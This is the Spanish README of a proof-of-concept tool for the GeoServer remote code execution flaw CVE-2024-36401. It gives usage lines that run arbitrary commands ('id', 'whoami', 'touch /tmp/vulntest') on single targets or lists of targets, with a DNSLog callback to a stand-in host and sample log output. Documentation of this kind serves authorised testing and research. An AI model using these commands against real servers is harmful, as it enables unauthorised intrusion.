
Este script es una herramienta de detección PoC (Proof of Concept) para la vulnerabilidad de ejecución remota de código en GeoServer (CVE-2024-36401). Dicha vulnerabilidad permite a un atacante ejecutar comandos arbitrarios en el servidor objetivo mediante la construcción de solicitudes específicas.
⚠️ Aviso legal: Esta herramienta está destinada únicamente a la investigación de seguridad y a pruebas autorizadas legalmente. No la utilices con fines ilegales. El usuario asume toda la responsabilidad legal.
Versión del README: [English | 中文]
Este script es una herramienta de detección PoC (Proof of Concept) desarrollada para la vulnerabilidad de ejecución remota de código (CVE-2024-36401) en GeoServer. Esta vulnerabilidad permite a un atacante ejecutar comandos arbitrarios en el servidor objetivo mediante la construcción de solicitudes específicas.
Asegúrate de que tu entorno de ejecución tenga instaladas las siguientes dependencias:
requestslxmlPuedes instalar las dependencias necesarias con el siguiente comando:
pip install requests lxml
python poc.py -u http://target.com -d dnslog.example.com
O especifica el comando a ejecutar:
python poc.py -u http://target.com -c "touch /tmp/vulntest"
Prepara un archivo de texto que contenga varias URL objetivo (una por línea):
python poc.py -uf targets.txt -d dnslog.example.com
O especifica un comando:
python poc.py -uf targets.txt -c "id"
Documentación de uso detallada: Documentación de uso detallada
⚠️ Nota: los parámetros
-dy-cno se pueden utilizar al mismo tiempo.
[INFO] 爬取到3个有效的 Typenames,开始漏洞探测
[INFO] 目标: http://example.com
[INFO] 执行命令: whoami
[INFO] DNSLOG地址:
[INFO] 正在尝试 typeName: topp:states -> whoami
[+] 命令疑似成功执行!目标: http://example.com 命令: whoami
/geoserver/wfs.Te invitamos a enviar un Issue o un Pull Request para ayudar a mejorar este proyecto.
Este proyecto se distribuye bajo la licencia MIT. Puedes modificarlo, distribuirlo y utilizarlo comercialmente libremente, pero debes conservar el aviso de copyright.
| Parámetro | Descripción |
|---|
-u, --url | Especifica una única dirección objetivo |
-uf, --url-file | Especifica la ruta del archivo que contiene varias URL objetivo |
-d, --dnslog | Especifica la dirección DNSLog |
-c, --command | Especifica el comando a ejecutar en el sistema objetivo (por ejemplo: whoami, id, curl, etc.) |